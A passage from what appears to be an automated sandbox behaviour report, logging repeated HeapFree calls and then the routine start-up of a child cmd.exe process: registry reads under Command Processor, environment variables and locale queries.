hHeap=0x670000) returned 1 [0281.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.509] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.512] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0281.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0281.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0281.603] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0281.606] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0281.608] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0281.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0281.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0281.640] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0281.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0281.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42b0fd0 | out: hHeap=0x670000) returned 1 [0281.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0281.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0281.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0282.051] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0282.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x70cc60 | out: hHeap=0x670000) returned 1 [0282.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5050048 | out: hHeap=0x670000) returned 1 [0282.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0282.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0282.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0282.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41dde40 | out: hHeap=0x670000) returned 1 [0282.057] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4121050 | out: hHeap=0x670000) returned 1 [0282.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41658b8 | out: hHeap=0x670000) returned 1 [0282.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0282.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0282.059] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0282.061] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40e0048 | out: hHeap=0x670000) returned 1 Thread: id = 56 os_tid = 0xe34 Thread: id = 57 os_tid = 0xe38 Thread: id = 61 os_tid = 0xe50 Thread: id = 62 os_tid = 0xe54 Thread: id = 63 os_tid = 0xe58 Thread: id = 64 os_tid = 0xe5c Thread: id = 83 os_tid = 0x5f4 Process: id = "6" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4588d000" os_pid = "0xdb0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xda4" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 31 os_tid = 0xdb4 [0223.716] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff752480000 [0223.716] __set_app_type (_Type=0x1) [0223.716] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff752496d00) returned 0x0 [0223.716] __getmainargs (in: _Argc=0x7ff7524b9200, _Argv=0x7ff7524b9208, _Env=0x7ff7524b9210, _DoWildCard=0, _StartInfo=0x7ff7524b921c | out: _Argc=0x7ff7524b9200, _Argv=0x7ff7524b9208, _Env=0x7ff7524b9210) returned 0 [0223.716] _onexit (_Func=0x7ff752497fd0) returned 0x7ff752497fd0 [0223.717] _onexit (_Func=0x7ff752497fe0) returned 0x7ff752497fe0 [0223.717] _onexit (_Func=0x7ff752497ff0) returned 0x7ff752497ff0 [0223.717] _onexit (_Func=0x7ff752498000) returned 0x7ff752498000 [0223.718] _onexit (_Func=0x7ff752498010) returned 0x7ff752498010 [0223.718] _onexit (_Func=0x7ff752498020) returned 0x7ff752498020 [0223.719] GetCurrentThreadId () returned 0xdb4 [0223.719] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdb4) returned 0x70 [0223.719] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffe207b0000 [0223.719] GetProcAddress (hModule=0x7ffe207b0000, lpProcName="SetThreadUILanguage") returned 0x7ffe207ca990 [0223.719] SetThreadUILanguage (LangId=0x0) returned 0x409 [0224.116] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0224.117] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0xbef98ff958 | out: phkResult=0xbef98ff958*=0x0) returned 0x2 [0224.117] VirtualQuery (in: lpAddress=0xbef98ff944, lpBuffer=0xbef98ff8c0, dwLength=0x30 | out: lpBuffer=0xbef98ff8c0*(BaseAddress=0xbef98ff000, AllocationBase=0xbef9800000, AllocationProtect=0x4, __alignment1=0xffffce05, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0224.117] VirtualQuery (in: lpAddress=0xbef9800000, lpBuffer=0xbef98ff8c0, dwLength=0x30 | out: lpBuffer=0xbef98ff8c0*(BaseAddress=0xbef9800000, AllocationBase=0xbef9800000, AllocationProtect=0x4, __alignment1=0xffffce05, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0224.117] VirtualQuery (in: lpAddress=0xbef9801000, lpBuffer=0xbef98ff8c0, dwLength=0x30 | out: lpBuffer=0xbef98ff8c0*(BaseAddress=0xbef9801000, AllocationBase=0xbef9800000, AllocationProtect=0x4, __alignment1=0xffffce05, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0224.117] VirtualQuery (in: lpAddress=0xbef9804000, lpBuffer=0xbef98ff8c0, dwLength=0x30 | out: lpBuffer=0xbef98ff8c0*(BaseAddress=0xbef9804000, AllocationBase=0xbef9800000, AllocationProtect=0x4, __alignment1=0xffffce05, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0224.117] VirtualQuery (in: lpAddress=0xbef9900000, lpBuffer=0xbef98ff8c0, dwLength=0x30 | out: lpBuffer=0xbef98ff8c0*(BaseAddress=0xbef9900000, AllocationBase=0xbef9900000, AllocationProtect=0x4, __alignment1=0xffffce05, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0224.117] GetConsoleOutputCP () returned 0x1b5 [0224.733] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7524bfbb0 | out: lpCPInfo=0x7ff7524bfbb0) returned 1 [0224.733] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7524a8150, Add=1) returned 1 [0224.733] _get_osfhandle (_FileHandle=1) returned 0x254 [0224.733] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7524bfc04 | out: lpMode=0x7ff7524bfc04) returned 0 [0224.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0224.734] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7524bfc00 | out: lpMode=0x7ff7524bfc00) returned 0 [0224.734] _get_osfhandle (_FileHandle=1) returned 0x254 [0224.734] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0224.734] _get_osfhandle (_FileHandle=1) returned 0x254 [0224.734] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7524bfc08 | out: lpMode=0x7ff7524bfc08) returned 0 [0224.734] _get_osfhandle (_FileHandle=0) returned 0x248 [0224.734] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7524bfc0c | out: lpMode=0x7ff7524bfc0c) returned 0 [0224.734] GetEnvironmentStringsW () returned 0x2743ba25a40* [0224.734] GetProcessHeap () returned 0x2743ba20000 [0224.734] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xab6) returned 0x2743ba26500 [0224.734] FreeEnvironmentStringsA (penv="=") returned 1 [0224.734] GetProcessHeap () returned 0x2743ba20000 [0224.734] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x8) returned 0x2743ba25a40 [0224.734] GetEnvironmentStringsW () returned 0x2743ba26fd0* [0224.735] GetProcessHeap () returned 0x2743ba20000 [0224.735] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xab6) returned 0x2743ba27a90 [0224.735] FreeEnvironmentStringsA (penv="=") returned 1 [0224.735] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbef98fe808 | out: phkResult=0xbef98fe808*=0x7c) returned 0x0 [0224.735] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x0, lpData=0xbef98fe820*=0x4, lpcbData=0xbef98fe804*=0x1000) returned 0x2 [0224.736] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x4, lpData=0xbef98fe820*=0x1, lpcbData=0xbef98fe804*=0x4) returned 0x0 [0224.736] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x0, lpData=0xbef98fe820*=0x1, lpcbData=0xbef98fe804*=0x1000) returned 0x2 [0224.736] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x4, lpData=0xbef98fe820*=0x0, lpcbData=0xbef98fe804*=0x4) returned 0x0 [0224.736] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x4, lpData=0xbef98fe820*=0x40, lpcbData=0xbef98fe804*=0x4) returned 0x0 [0224.736] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x4, lpData=0xbef98fe820*=0x40, lpcbData=0xbef98fe804*=0x4) returned 0x0 [0224.736] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x0, lpData=0xbef98fe820*=0x40, lpcbData=0xbef98fe804*=0x1000) returned 0x2 [0224.736] RegCloseKey (hKey=0x7c) returned 0x0 [0224.752] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbef98fe808 | out: phkResult=0xbef98fe808*=0x7c) returned 0x0 [0224.752] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x0, lpData=0xbef98fe820*=0x40, lpcbData=0xbef98fe804*=0x1000) returned 0x2 [0224.752] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x4, lpData=0xbef98fe820*=0x1, lpcbData=0xbef98fe804*=0x4) returned 0x0 [0224.752] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x0, lpData=0xbef98fe820*=0x1, lpcbData=0xbef98fe804*=0x1000) returned 0x2 [0224.752] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x4, lpData=0xbef98fe820*=0x0, lpcbData=0xbef98fe804*=0x4) returned 0x0 [0224.752] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x4, lpData=0xbef98fe820*=0x9, lpcbData=0xbef98fe804*=0x4) returned 0x0 [0224.752] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x4, lpData=0xbef98fe820*=0x9, lpcbData=0xbef98fe804*=0x4) returned 0x0 [0224.752] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbef98fe800, lpData=0xbef98fe820, lpcbData=0xbef98fe804*=0x1000 | out: lpType=0xbef98fe800*=0x0, lpData=0xbef98fe820*=0x9, lpcbData=0xbef98fe804*=0x1000) returned 0x2 [0224.752] RegCloseKey (hKey=0x7c) returned 0x0 [0224.752] time (in: timer=0x0 | out: timer=0x0) returned 0x5e9cc8f5 [0224.753] srand (_Seed=0x5e9cc8f5) [0224.753] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0224.753] malloc (_Size=0x4000) returned 0x2743bb65530 [0224.753] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0224.753] malloc (_Size=0xffce) returned 0x2743bb70080 [0224.754] ??_V@YAXPEAX@Z () returned 0x2743bb70080 [0224.754] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2743bb70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0224.754] malloc (_Size=0xffce) returned 0x2743bb80060 [0224.755] ??_V@YAXPEAX@Z () returned 0x2743bb80060 [0224.755] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2743bb80060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0224.756] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0224.756] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0224.756] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0224.756] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0224.756] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0224.756] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0224.756] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0224.756] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0224.756] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0224.756] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0224.756] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0224.756] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0224.756] GetProcessHeap () returned 0x2743ba20000 [0224.756] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba26500) returned 1 [0224.757] GetEnvironmentStringsW () returned 0x2743ba25a60* [0224.757] GetProcessHeap () returned 0x2743ba20000 [0224.757] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xace) returned 0x2743ba26540 [0224.757] FreeEnvironmentStringsA (penv="=") returned 1 [0224.757] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0224.757] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7524bbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0224.757] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0224.757] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0224.757] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0224.757] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0224.757] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0224.757] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0224.757] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0224.757] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0224.757] malloc (_Size=0xffce) returned 0x2743bb90040 [0224.758] ??_V@YAXPEAX@Z () returned 0x2743bb90040 [0224.758] GetProcessHeap () returned 0x2743ba20000 [0224.758] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x38) returned 0x2743ba28580 [0224.758] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2743bb90040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0224.758] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x2743bb90040, lpFilePart=0xbef98ff380 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xbef98ff380*="system32") returned 0x13 [0224.759] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0224.759] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xbef98ff0b0 | out: lpFindFileData=0xbef98ff0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x2743ba285c0 [0224.759] FindClose (in: hFindFile=0x2743ba285c0 | out: hFindFile=0x2743ba285c0) returned 1 [0224.759] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xbef98ff0b0 | out: lpFindFileData=0xbef98ff0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xa0e9b702, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa0e9b702, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x2743ba285c0 [0224.760] FindClose (in: hFindFile=0x2743ba285c0 | out: hFindFile=0x2743ba285c0) returned 1 [0224.760] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0224.760] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0224.760] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0224.760] GetProcessHeap () returned 0x2743ba20000 [0224.760] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba26540) returned 1 [0224.760] GetEnvironmentStringsW () returned 0x2743ba25a60* [0224.760] GetProcessHeap () returned 0x2743ba20000 [0224.760] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0xafe) returned 0x2743ba26570 [0224.760] FreeEnvironmentStringsA (penv="=") returned 1 [0224.760] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x2743bb70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0224.760] GetProcessHeap () returned 0x2743ba20000 [0224.760] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba28580) returned 1 [0224.760] ??_V@YAXPEAX@Z () returned 0x1 [0224.761] ??_V@YAXPEAX@Z () returned 0x1 [0224.761] GetProcessHeap () returned 0x2743ba20000 [0224.761] RtlAllocateHeap (HeapHandle=0x2743ba20000, Flags=0x8, Size=0x4016) returned 0x2743ba28580 [0224.761] GetProcessHeap () returned 0x2743ba20000 [0224.761] RtlFreeHeap (HeapHandle=0x2743ba20000, Flags=0x0, BaseAddress=0x2743ba28580) returned 1 [0224.761] GetConsoleOutputCP () returned 0x1b5 [0225.161] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7524bfbb0 | out: lpCPInfo=0x7ff7524bfbb0) returned 1 [0225.161] GetUserDefaultLCID () returned 0x409 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7524bbb78, cchData=8 | out: lpLCData=":") returned 2 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xbef98ff740, cchData=128 | out: lpLCData="0") returned 2 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xbef98ff740, cchData=128 | out: lpLCData="0") returned 2 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xbef98ff740, cchData=128 | out: lpLCData="1") returned 2 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7524bbb68, cchData=8 | out: lpLCData="/") returned 2 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7524bbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7524bbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7524bba80, cchData=32 | out: lpLCData="Wed") returned 4 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7524bba40, cchData=32 | out: lpLCData="Thu") returned 4 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7524bba00, cchData=32 | out: lpLCData="Fri") returned 4 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7524bb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7524bb980, cchData=32 | out: lpLCData="Sun") returned 4 [0225.162] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7524bbb58, cchData=8 | out: lpLCData=".") returned 2 [0225.162] GetLocaleInfoW (in: 